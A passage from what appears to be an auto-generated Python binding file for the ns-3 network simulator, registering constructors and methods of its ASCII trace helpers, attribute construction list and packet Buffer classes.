[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'file'), param('std::string', 'context'), param('ns3::Ptr< ns3::Packet const >', 'p')],
is_static=True)
## trace-helper.h (module 'network'): static void ns3::AsciiTraceHelper::DefaultDequeueSinkWithoutContext(ns3::Ptr<ns3::OutputStreamWrapper> file, ns3::Ptr<const ns3::Packet> p) [member function]
cls.add_method('DefaultDequeueSinkWithoutContext',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'file'), param('ns3::Ptr< ns3::Packet const >', 'p')],
is_static=True)
## trace-helper.h (module 'network'): static void ns3::AsciiTraceHelper::DefaultDropSinkWithContext(ns3::Ptr<ns3::OutputStreamWrapper> file, std::string context, ns3::Ptr<const ns3::Packet> p) [member function]
cls.add_method('DefaultDropSinkWithContext',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'file'), param('std::string', 'context'), param('ns3::Ptr< ns3::Packet const >', 'p')],
is_static=True)
## trace-helper.h (module 'network'): static void ns3::AsciiTraceHelper::DefaultDropSinkWithoutContext(ns3::Ptr<ns3::OutputStreamWrapper> file, ns3::Ptr<const ns3::Packet> p) [member function]
cls.add_method('DefaultDropSinkWithoutContext',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'file'), param('ns3::Ptr< ns3::Packet const >', 'p')],
is_static=True)
## trace-helper.h (module 'network'): static void ns3::AsciiTraceHelper::DefaultEnqueueSinkWithContext(ns3::Ptr<ns3::OutputStreamWrapper> file, std::string context, ns3::Ptr<const ns3::Packet> p) [member function]
cls.add_method('DefaultEnqueueSinkWithContext',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'file'), param('std::string', 'context'), param('ns3::Ptr< ns3::Packet const >', 'p')],
is_static=True)
## trace-helper.h (module 'network'): static void ns3::AsciiTraceHelper::DefaultEnqueueSinkWithoutContext(ns3::Ptr<ns3::OutputStreamWrapper> file, ns3::Ptr<const ns3::Packet> p) [member function]
cls.add_method('DefaultEnqueueSinkWithoutContext',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'file'), param('ns3::Ptr< ns3::Packet const >', 'p')],
is_static=True)
## trace-helper.h (module 'network'): static void ns3::AsciiTraceHelper::DefaultReceiveSinkWithContext(ns3::Ptr<ns3::OutputStreamWrapper> file, std::string context, ns3::Ptr<const ns3::Packet> p) [member function]
cls.add_method('DefaultReceiveSinkWithContext',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'file'), param('std::string', 'context'), param('ns3::Ptr< ns3::Packet const >', 'p')],
is_static=True)
## trace-helper.h (module 'network'): static void ns3::AsciiTraceHelper::DefaultReceiveSinkWithoutContext(ns3::Ptr<ns3::OutputStreamWrapper> file, ns3::Ptr<const ns3::Packet> p) [member function]
cls.add_method('DefaultReceiveSinkWithoutContext',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'file'), param('ns3::Ptr< ns3::Packet const >', 'p')],
is_static=True)
## trace-helper.h (module 'network'): std::string ns3::AsciiTraceHelper::GetFilenameFromDevice(std::string prefix, ns3::Ptr<ns3::NetDevice> device, bool useObjectNames=true) [member function]
cls.add_method('GetFilenameFromDevice',
'std::string',
[param('std::string', 'prefix'), param('ns3::Ptr< ns3::NetDevice >', 'device'), param('bool', 'useObjectNames', default_value='true')])
## trace-helper.h (module 'network'): std::string ns3::AsciiTraceHelper::GetFilenameFromInterfacePair(std::string prefix, ns3::Ptr<ns3::Object> object, uint32_t interface, bool useObjectNames=true) [member function]
cls.add_method('GetFilenameFromInterfacePair',
'std::string',
[param('std::string', 'prefix'), param('ns3::Ptr< ns3::Object >', 'object'), param('uint32_t', 'interface'), param('bool', 'useObjectNames', default_value='true')])
return
def register_Ns3AsciiTraceHelperForDevice_methods(root_module, cls):
## trace-helper.h (module 'network'): ns3::AsciiTraceHelperForDevice::AsciiTraceHelperForDevice(ns3::AsciiTraceHelperForDevice const & arg0) [copy constructor]
cls.add_constructor([param('ns3::AsciiTraceHelperForDevice const &', 'arg0')])
## trace-helper.h (module 'network'): ns3::AsciiTraceHelperForDevice::AsciiTraceHelperForDevice() [constructor]
cls.add_constructor([])
## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAscii(std::string prefix, ns3::Ptr<ns3::NetDevice> nd, bool explicitFilename=false) [member function]
cls.add_method('EnableAscii',
'void',
[param('std::string', 'prefix'), param('ns3::Ptr< ns3::NetDevice >', 'nd'), param('bool', 'explicitFilename', default_value='false')])
## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAscii(ns3::Ptr<ns3::OutputStreamWrapper> stream, ns3::Ptr<ns3::NetDevice> nd) [member function]
cls.add_method('EnableAscii',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('ns3::Ptr< ns3::NetDevice >', 'nd')])
## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAscii(std::string prefix, std::string ndName, bool explicitFilename=false) [member function]
cls.add_method('EnableAscii',
'void',
[param('std::string', 'prefix'), param('std::string', 'ndName'), param('bool', 'explicitFilename', default_value='false')])
## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAscii(ns3::Ptr<ns3::OutputStreamWrapper> stream, std::string ndName) [member function]
cls.add_method('EnableAscii',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('std::string', 'ndName')])
## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAscii(std::string prefix, ns3::NetDeviceContainer d) [member function]
cls.add_method('EnableAscii',
'void',
[param('std::string', 'prefix'), param('ns3::NetDeviceContainer', 'd')])
## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAscii(ns3::Ptr<ns3::OutputStreamWrapper> stream, ns3::NetDeviceContainer d) [member function]
cls.add_method('EnableAscii',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('ns3::NetDeviceContainer', 'd')])
## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAscii(std::string prefix, ns3::NodeContainer n) [member function]
cls.add_method('EnableAscii',
'void',
[param('std::string', 'prefix'), param('ns3::NodeContainer', 'n')])
## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAscii(ns3::Ptr<ns3::OutputStreamWrapper> stream, ns3::NodeContainer n) [member function]
cls.add_method('EnableAscii',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('ns3::NodeContainer', 'n')])
## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAscii(std::string prefix, uint32_t nodeid, uint32_t deviceid, bool explicitFilename) [member function]
cls.add_method('EnableAscii',
'void',
[param('std::string', 'prefix'), param('uint32_t', 'nodeid'), param('uint32_t', 'deviceid'), param('bool', 'explicitFilename')])
## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAscii(ns3::Ptr<ns3::OutputStreamWrapper> stream, uint32_t nodeid, uint32_t deviceid) [member function]
cls.add_method('EnableAscii',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('uint32_t', 'nodeid'), param('uint32_t', 'deviceid')])
## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAsciiAll(std::string prefix) [member function]
cls.add_method('EnableAsciiAll',
'void',
[param('std::string', 'prefix')])
## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAsciiAll(ns3::Ptr<ns3::OutputStreamWrapper> stream) [member function]
cls.add_method('EnableAsciiAll',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream')])
## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAsciiInternal(ns3::Ptr<ns3::OutputStreamWrapper> stream, std::string prefix, ns3::Ptr<ns3::NetDevice> nd, bool explicitFilename) [member function]
cls.add_method('EnableAsciiInternal',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('std::string', 'prefix'), param('ns3::Ptr< ns3::NetDevice >', 'nd'), param('bool', 'explicitFilename')],
is_pure_virtual=True, is_virtual=True)
return
def register_Ns3AsciiTraceHelperForIpv4_methods(root_module, cls):
## internet-trace-helper.h (module 'internet'): ns3::AsciiTraceHelperForIpv4::AsciiTraceHelperForIpv4(ns3::AsciiTraceHelperForIpv4 const & arg0) [copy constructor]
cls.add_constructor([param('ns3::AsciiTraceHelperForIpv4 const &', 'arg0')])
## internet-trace-helper.h (module 'internet'): ns3::AsciiTraceHelperForIpv4::AsciiTraceHelperForIpv4() [constructor]
cls.add_constructor([])
## internet-trace-helper.h (module 'internet'): void ns3::AsciiTraceHelperForIpv4::EnableAsciiIpv4(std::string prefix, ns3::Ptr<ns3::Ipv4> ipv4, uint32_t interface, bool explicitFilename=false) [member function]
cls.add_method('EnableAsciiIpv4',
'void',
[param('std::string', 'prefix'), param('ns3::Ptr< ns3::Ipv4 >', 'ipv4'), param('uint32_t', 'interface'), param('bool', 'explicitFilename', default_value='false')])
## internet-trace-helper.h (module 'internet'): void ns3::AsciiTraceHelperForIpv4::EnableAsciiIpv4(ns3::Ptr<ns3::OutputStreamWrapper> stream, ns3::Ptr<ns3::Ipv4> ipv4, uint32_t interface) [member function]
cls.add_method('EnableAsciiIpv4',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('ns3::Ptr< ns3::Ipv4 >', 'ipv4'), param('uint32_t', 'interface')])
## internet-trace-helper.h (module 'internet'): void ns3::AsciiTraceHelperForIpv4::EnableAsciiIpv4(std::string prefix, std::string ipv4Name, uint32_t interface, bool explicitFilename=false) [member function]
cls.add_method('EnableAsciiIpv4',
'void',
[param('std::string', 'prefix'), param('std::string', 'ipv4Name'), param('uint32_t', 'interface'), param('bool', 'explicitFilename', default_value='false')])
## internet-trace-helper.h (module 'internet'): void ns3::AsciiTraceHelperForIpv4::EnableAsciiIpv4(ns3::Ptr<ns3::OutputStreamWrapper> stream, std::string ipv4Name, uint32_t interface) [member function]
cls.add_method('EnableAsciiIpv4',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('std::string', 'ipv4Name'), param('uint32_t', 'interface')])
## internet-trace-helper.h (module 'internet'): void ns3::AsciiTraceHelperForIpv4::EnableAsciiIpv4(std::string prefix, ns3::Ipv4InterfaceContainer c) [member function]
cls.add_method('EnableAsciiIpv4',
'void',
[param('std::string', 'prefix'), param('ns3::Ipv4InterfaceContainer', 'c')])
## internet-trace-helper.h (module 'internet'): void ns3::AsciiTraceHelperForIpv4::EnableAsciiIpv4(ns3::Ptr<ns3::OutputStreamWrapper> stream, ns3::Ipv4InterfaceContainer c) [member function]
cls.add_method('EnableAsciiIpv4',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('ns3::Ipv4InterfaceContainer', 'c')])
## internet-trace-helper.h (module 'internet'): void ns3::AsciiTraceHelperForIpv4::EnableAsciiIpv4(std::string prefix, ns3::NodeContainer n) [member function]
cls.add_method('EnableAsciiIpv4',
'void',
[param('std::string', 'prefix'), param('ns3::NodeContainer', 'n')])
## internet-trace-helper.h (module 'internet'): void ns3::AsciiTraceHelperForIpv4::EnableAsciiIpv4(ns3::Ptr<ns3::OutputStreamWrapper> stream, ns3::NodeContainer n) [member function]
cls.add_method('EnableAsciiIpv4',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('ns3::NodeContainer', 'n')])
## internet-trace-helper.h (module 'internet'): void ns3::AsciiTraceHelperForIpv4::EnableAsciiIpv4(std::string prefix, uint32_t nodeid, uint32_t deviceid, bool explicitFilename) [member function]
cls.add_method('EnableAsciiIpv4',
'void',
[param('std::string', 'prefix'), param('uint32_t', 'nodeid'), param('uint32_t', 'deviceid'), param('bool', 'explicitFilename')])
## internet-trace-helper.h (module 'internet'): void ns3::AsciiTraceHelperForIpv4::EnableAsciiIpv4(ns3::Ptr<ns3::OutputStreamWrapper> stream, uint32_t nodeid, uint32_t interface, bool explicitFilename) [member function]
cls.add_method('EnableAsciiIpv4',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('uint32_t', 'nodeid'), param('uint32_t', 'interface'), param('bool', 'explicitFilename')])
## internet-trace-helper.h (module 'internet'): void ns3::AsciiTraceHelperForIpv4::EnableAsciiIpv4All(std::string prefix) [member function]
cls.add_method('EnableAsciiIpv4All',
'void',
[param('std::string', 'prefix')])
## internet-trace-helper.h (module 'internet'): void ns3::AsciiTraceHelperForIpv4::EnableAsciiIpv4All(ns3::Ptr<ns3::OutputStreamWrapper> stream) [member function]
cls.add_method('EnableAsciiIpv4All',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream')])
## internet-trace-helper.h (module 'internet'): void ns3::AsciiTraceHelperForIpv4::EnableAsciiIpv4Internal(ns3::Ptr<ns3::OutputStreamWrapper> stream, std::string prefix, ns3::Ptr<ns3::Ipv4> ipv4, uint32_t interface, bool explicitFilename) [member function]
cls.add_method('EnableAsciiIpv4Internal',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('std::string', 'prefix'), param('ns3::Ptr< ns3::Ipv4 >', 'ipv4'), param('uint32_t', 'interface'), param('bool', 'explicitFilename')],
is_pure_virtual=True, is_virtual=True)
return
def register_Ns3AsciiTraceHelperForIpv6_methods(root_module, cls):
## internet-trace-helper.h (module 'internet'): ns3::AsciiTraceHelperForIpv6::AsciiTraceHelperForIpv6(ns3::AsciiTraceHelperForIpv6 const & arg0) [copy constructor]
cls.add_constructor([param('ns3::AsciiTraceHelperForIpv6 const &', 'arg0')])
## internet-trace-helper.h (module 'internet'): ns3::AsciiTraceHelperForIpv6::AsciiTraceHelperForIpv6() [constructor]
cls.add_constructor([])
## internet-trace-helper.h (module 'internet'): void ns3::AsciiTraceHelperForIpv6::EnableAsciiIpv6(std::string prefix, ns3::Ptr<ns3::Ipv6> ipv6, uint32_t interface, bool explicitFilename=false) [member function]
cls.add_method('EnableAsciiIpv6',
'void',
[param('std::string', 'prefix'), param('ns3::Ptr< ns3::Ipv6 >', 'ipv6'), param('uint32_t', 'interface'), param('bool', 'explicitFilename', default_value='false')])
## internet-trace-helper.h (module 'internet'): void ns3::AsciiTraceHelperForIpv6::EnableAsciiIpv6(ns3::Ptr<ns3::OutputStreamWrapper> stream, ns3::Ptr<ns3::Ipv6> ipv6, uint32_t interface) [member function]
cls.add_method('EnableAsciiIpv6',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('ns3::Ptr< ns3::Ipv6 >', 'ipv6'), param('uint32_t', 'interface')])
## internet-trace-helper.h (module 'internet'): void ns3::AsciiTraceHelperForIpv6::EnableAsciiIpv6(std::string prefix, std::string ipv6Name, uint32_t interface, bool explicitFilename=false) [member function]
cls.add_method('EnableAsciiIpv6',
'void',
[param('std::string', 'prefix'), param('std::string', 'ipv6Name'), param('uint32_t', 'interface'), param('bool', 'explicitFilename', default_value='false')])
## internet-trace-helper.h (module 'internet'): void ns3::AsciiTraceHelperForIpv6::EnableAsciiIpv6(ns3::Ptr<ns3::OutputStreamWrapper> stream, std::string ipv6Name, uint32_t interface) [member function]
cls.add_method('EnableAsciiIpv6',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('std::string', 'ipv6Name'), param('uint32_t', 'interface')])
## internet-trace-helper.h (module 'internet'): void ns3::AsciiTraceHelperForIpv6::EnableAsciiIpv6(std::string prefix, ns3::Ipv6InterfaceContainer c) [member function]
cls.add_method('EnableAsciiIpv6',
'void',
[param('std::string', 'prefix'), param('ns3::Ipv6InterfaceContainer', 'c')])
## internet-trace-helper.h (module 'internet'): void ns3::AsciiTraceHelperForIpv6::EnableAsciiIpv6(ns3::Ptr<ns3::OutputStreamWrapper> stream, ns3::Ipv6InterfaceContainer c) [member function]
cls.add_method('EnableAsciiIpv6',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('ns3::Ipv6InterfaceContainer', 'c')])
## internet-trace-helper.h (module 'internet'): void ns3::AsciiTraceHelperForIpv6::EnableAsciiIpv6(std::string prefix, ns3::NodeContainer n) [member function]
cls.add_method('EnableAsciiIpv6',
'void',
[param('std::string', 'prefix'), param('ns3::NodeContainer', 'n')])
## internet-trace-helper.h (module 'internet'): void ns3::AsciiTraceHelperForIpv6::EnableAsciiIpv6(ns3::Ptr<ns3::OutputStreamWrapper> stream, ns3::NodeContainer n) [member function]
cls.add_method('EnableAsciiIpv6',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('ns3::NodeContainer', 'n')])
## internet-trace-helper.h (module 'internet'): void ns3::AsciiTraceHelperForIpv6::EnableAsciiIpv6(std::string prefix, uint32_t nodeid, uint32_t interface, bool explicitFilename) [member function]
cls.add_method('EnableAsciiIpv6',
'void',
[param('std::string', 'prefix'), param('uint32_t', 'nodeid'), param('uint32_t', 'interface'), param('bool', 'explicitFilename')])
## internet-trace-helper.h (module 'internet'): void ns3::AsciiTraceHelperForIpv6::EnableAsciiIpv6(ns3::Ptr<ns3::OutputStreamWrapper> stream, uint32_t nodeid, uint32_t interface) [member function]
cls.add_method('EnableAsciiIpv6',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('uint32_t', 'nodeid'), param('uint32_t', 'interface')])
## internet-trace-helper.h (module 'internet'): void ns3::AsciiTraceHelperForIpv6::EnableAsciiIpv6All(std::string prefix) [member function]
cls.add_method('EnableAsciiIpv6All',
'void',
[param('std::string', 'prefix')])
## internet-trace-helper.h (module 'internet'): void ns3::AsciiTraceHelperForIpv6::EnableAsciiIpv6All(ns3::Ptr<ns3::OutputStreamWrapper> stream) [member function]
cls.add_method('EnableAsciiIpv6All',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream')])
## internet-trace-helper.h (module 'internet'): void ns3::AsciiTraceHelperForIpv6::EnableAsciiIpv6Internal(ns3::Ptr<ns3::OutputStreamWrapper> stream, std::string prefix, ns3::Ptr<ns3::Ipv6> ipv6, uint32_t interface, bool explicitFilename) [member function]
cls.add_method('EnableAsciiIpv6Internal',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('std::string', 'prefix'), param('ns3::Ptr< ns3::Ipv6 >', 'ipv6'), param('uint32_t', 'interface'), param('bool', 'explicitFilename')],
is_pure_virtual=True, is_virtual=True)
return
def register_Ns3AttributeConstructionList_methods(root_module, cls):
## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::AttributeConstructionList(ns3::AttributeConstructionList const & arg0) [copy constructor]
cls.add_constructor([param('ns3::AttributeConstructionList const &', 'arg0')])
## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::AttributeConstructionList() [constructor]
cls.add_constructor([])
## attribute-construction-list.h (module 'core'): void ns3::AttributeConstructionList::Add(std::string name, ns3::Ptr<ns3::AttributeChecker const> checker, ns3::Ptr<ns3::AttributeValue> value) [member function]
cls.add_method('Add',
'void',
[param('std::string', 'name'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker'), param('ns3::Ptr< ns3::AttributeValue >', 'value')])
## attribute-construction-list.h (module 'core'): std::_List_const_iterator<ns3::AttributeConstructionList::Item> ns3::AttributeConstructionList::Begin() const [member function]
cls.add_method('Begin',
'std::_List_const_iterator< ns3::AttributeConstructionList::Item >',
[],
is_const=True)
## attribute-construction-list.h (module 'core'): std::_List_const_iterator<ns3::AttributeConstructionList::Item> ns3::AttributeConstructionList::End() const [member function]
cls.add_method('End',
'std::_List_const_iterator< ns3::AttributeConstructionList::Item >',
[],
is_const=True)
## attribute-construction-list.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::AttributeConstructionList::Find(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('Find',
'ns3::Ptr< ns3::AttributeValue >',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True)
return
def register_Ns3AttributeConstructionListItem_methods(root_module, cls):
## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::Item() [constructor]
cls.add_constructor([])
## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::Item(ns3::AttributeConstructionList::Item const & arg0) [copy constructor]
cls.add_constructor([param('ns3::AttributeConstructionList::Item const &', 'arg0')])
## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::checker [variable]
cls.add_instance_attribute('checker', 'ns3::Ptr< ns3::AttributeChecker const >', is_const=False)
## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::name [variable]
cls.add_instance_attribute('name', 'std::string', is_const=False)
## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::value [variable]
cls.add_instance_attribute('value', 'ns3::Ptr< ns3::AttributeValue >', is_const=False)
return
def register_Ns3Buffer_methods(root_module, cls):
## buffer.h (module 'network'): ns3::Buffer::Buffer() [constructor]
cls.add_constructor([])
## buffer.h (module 'network'): ns3::Buffer::Buffer(uint32_t dataSize) [constructor]
cls.add_constructor([param('uint32_t', 'dataSize')])
## buffer.h (module 'network'): ns3::Buffer::Buffer(uint32_t dataSize, bool initialize) [constructor]
cls.add_constructor([param('uint32_t', 'dataSize'), param('bool', 'initialize')])
## buffer.h (module 'network'): ns3::Buffer::Buffer(ns3::Buffer const & o) [copy constructor]
cls.add_constructor([param('ns3::Buffer const &', 'o')])
## buffer.h (module 'network'): bool ns3::Buffer::AddAtEnd(uint32_t end) [member function]
cls.add_method('AddAtEnd',
'bool',
[param('uint32_t', 'end')])
## buffer.h (module 'network'): void ns3::Buffer::AddAtEnd(ns3::Buffer const & o) [member function]
cls.add_method('AddAtEnd',
'void',
[param('ns3::Buffer const &', 'o')])
## buffer.h (module 'network'): bool ns3::Buffer::AddAtStart(uint32_t start) [member function]
cls.add_method('AddAtStart',
'bool',
[param('uint32_t', 'start')])
## buffer.h (module 'network'): ns3::Buffer::Iterator ns3::Buffer::Begin() const [member function]
cls.add_method('Begin',
'ns3::Buffer::Iterator',
[],
is_const=True)
## buffer.h (module 'network'): void ns3::Buffer::CopyData(std::ostream * os, uint32_t size) const [member function]
cls.add_method('CopyData',
'void',
[param('std::ostream *', 'os'), param('uint32_t', 'size')],
is_const=True)
## buffer.h (module 'network'): uint32_t ns3::Buffer::CopyData(uint8_t * buffer, uint32_t size) const [member function]
cls.add_method('CopyData',
'uint32_t',
[param('uint8_t *', 'buffer'), param('uint32_t', 'size')],
is_const=True)
## buffer.h (module 'network'): ns3::Buffer ns3::Buffer::CreateFragment(uint32_t start, uint32_t length) const [member function]
cls.add_method('CreateFragment',
'ns3::Buffer',
[param('uint32_t', 'start'), param('uint32_t', 'length')],
is_const=True)
## buffer.h (module 'network'): ns3::Buffer ns3::Buffer::CreateFullCopy() const [member function]
cls.add_method('CreateFullCopy',
'ns3::Buffer',
[],
is_const=True)
## buffer.h (module 'network'): uint32_t ns3::Buffer::Deserialize(uint8_t const * buffer, uint32_t size) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('uint8_t const *', 'buffer'), param('uint32_t', 'size')])
## buffer.h (module 'network'): ns3::Buffer::Iterator ns3::Buffer::End() const [member function]
cls.add_method('End',
'ns3::Buffer::Iterator',
[],
is_const=True)
## buffer.h (module 'network'): int32_t ns3::Buffer::GetCurrentEndOffset() const [member function]
cls.add_method('GetCurrentEndOffset',
'int32_t',
[],
is_const=True)
## buffer.h (module 'network'): int32_t ns3::Buffer::GetCurrentStartOffset() const [member function]
cls.add_method('GetCurrentStartOffset',
'int32_t',
[],
is_const=True)
## buffer.h (module 'network'): uint32_t ns3::Buffer::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True)
## buffer.h (module 'network'): uint32_t ns3::Buffer::GetSize() const [member function]
cls.add_method('GetSize',
'uint32_t',
[],
is_const=True)
## buffer.h (module 'network'): uint8_t const * ns3::Buffer::PeekData() const [member function]
cls.add_method('PeekData',
'uint8_t const *',
[],
is_const=True)
## buffer.h (module 'network'): void ns3::Buffer::RemoveAtEnd(uint32_t end) [member function]
cls.add_method('RemoveAtEnd',
'void',
[param('uint32_t', 'end')])
## buffer.h (module 'network'): void ns3::Buffer::RemoveAtStart(uint32_t start) [member function]
cls.add_method('RemoveAtStart',
'void',
[param('uint32_t', 'start')])
## buffer.h (module 'network'): uint32_t ns3::Buffer::Serialize(uint8_t * buffer, uint32_t maxSize) const [member function]
cls.add_method('Serialize',
'uint32_t',
[param('uint8_t *', 'buffer'), param('uint32_t', 'maxSize')],
is_const=True)
return
def register_Ns3BufferIterator_methods(root_module, cls):
## buffer.h (module 'network'): ns3::Buffer::Iterator::Iterator(ns3::Buffer::Iterator const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Buffer::Iterator const &', 'arg0')])
## buffer.h (module 'network'): ns3::Buffer::Iterator::Iterator() [constructor]
cls.add_constructor([])
## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::CalculateIpChecksum(uint16_t size) [member function]
cls.add_method('CalculateIpChecksum',
'uint16_t',
[param('uint16_t', 'size')])
## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::CalculateIpChecksum(uint16_t size, uint32_t initialChecksum) [member function]
cls.add_method('CalculateIpChecksum',
'uint16_t',
[param('uint16_t', 'size'), param('uint32_t', 'initialChecksum')])
## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::GetDistanceFrom(ns3::Buffer::Iterator const & o) const [member function]
cls.add_method('GetDistanceFrom',
'uint32_t',
[param('ns3::Buffer::Iterator const &', 'o')],
is_const=True)
## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::GetSize() const [member function]
cls.add_method('GetSize',
'uint32_t',
[],
is_const=True)
## buffer.h (module 'network'): bool ns3::Buffer::Iterator::IsEnd() const [member function]
cls.add_method('IsEnd',
'bool',
[],
is_const=True)
## buffer.h (module 'network'): bool ns3::Buffer::Iterator::IsStart() const [member function]
cls.add_method('IsStart',
'bool',
[],
is_const=True)
## buffer.h (module 'network'): void ns3::Buffer::Iterator::Next() [member function]
cls.add_method('Next',
'void',
[])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::Next(uint32_t delta) [member function]
cls.add_method('Next',
'void',
[param('uint32_t', 'delta')])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::Prev() [member function]
cls.add_method('Prev',
'void',
[])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::Prev(uint32_t delta) [member function]
cls.add_method('Prev',
'void',
[param('uint32_t', 'delta')])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::Read(uint8_t * buffer, uint32_t size) [member function]
cls.add_method('Read',
'void',
[param('uint8_t *', 'buffer'), param('uint32_t', 'size')])
## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::ReadLsbtohU16() [member function]
cls.add_method('ReadLsbtohU16',
'uint16_t',
[])
## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::ReadLsbtohU32() [member function]
cls.add_method('ReadLsbtohU32',
'uint32_t',
[])
## buffer.h (module 'network'): uint64_t ns3::Buffer::Iterator::ReadLsbtohU64() [member function]
cls.add_method('ReadLsbtohU64',
'uint64_t',
[])
## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::ReadNtohU16() [member function]
cls.add_method('ReadNtohU16',
'uint16_t',
[])
## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::ReadNtohU32() [member function]
cls.add_method('ReadNtohU32',
'uint32_t',
[])
## buffer.h (module 'network'): uint64_t ns3::Buffer::Iterator::ReadNtohU64() [member function]
cls.add_method('ReadNtohU64',
'uint64_t',
[])
## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::ReadU16() [member function]
cls.add_method('ReadU16',
'uint16_t',
[])
## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::ReadU32() [member function]
cls.add_method('ReadU32',
'uint32_t',
[])
## buffer.h (module 'network'): uint64_t ns3::Buffer::Iterator::ReadU64() [member function]
cls.add_method('ReadU64',
'uint64_t',
[])
## buffer.h (module 'network'): uint8_t ns3::Buffer::Iterator::ReadU8() [member function]
cls.add_method('ReadU8',
'uint8_t',
[])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::Write(uint8_t const * buffer, uint32_t size) [member function]
cls.add_method('Write',
'void',
[param('uint8_t const *', 'buffer'), param('uint32_t', 'size')])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::Write(ns3::Buffer::Iterator start, ns3::Buffer::Iterator end) [member function]
cls.add_method('Write',
'void',
[param('ns3::Buffer::Iterator', 'start'), param('ns3::Buffer::Iterator', 'end')])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtolsbU16(uint16_t data) [member function]
cls.add_method('WriteHtolsbU16',
'void',
[param('uint16_t', 'data')])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtolsbU32(uint32_t data) [member function]
cls.add_method('WriteHtolsbU32',
'void',
[param('uint32_t', 'data')])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtolsbU64(uint64_t data) [member function]
cls.add_method('WriteHtolsbU64',
'void',
[param('uint64_t', 'data')])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtonU16(uint16_t data) [member function]
cls.add_method('WriteHtonU16',
'void',
[param('uint16_t', 'data')])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtonU32(uint32_t data) [member function]
cls.add_method('WriteHtonU32',
'void',
[param('uint32_t', 'data')])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtonU64(uint64_t data) [member function]
cls.add_method('WriteHtonU64',
'void',
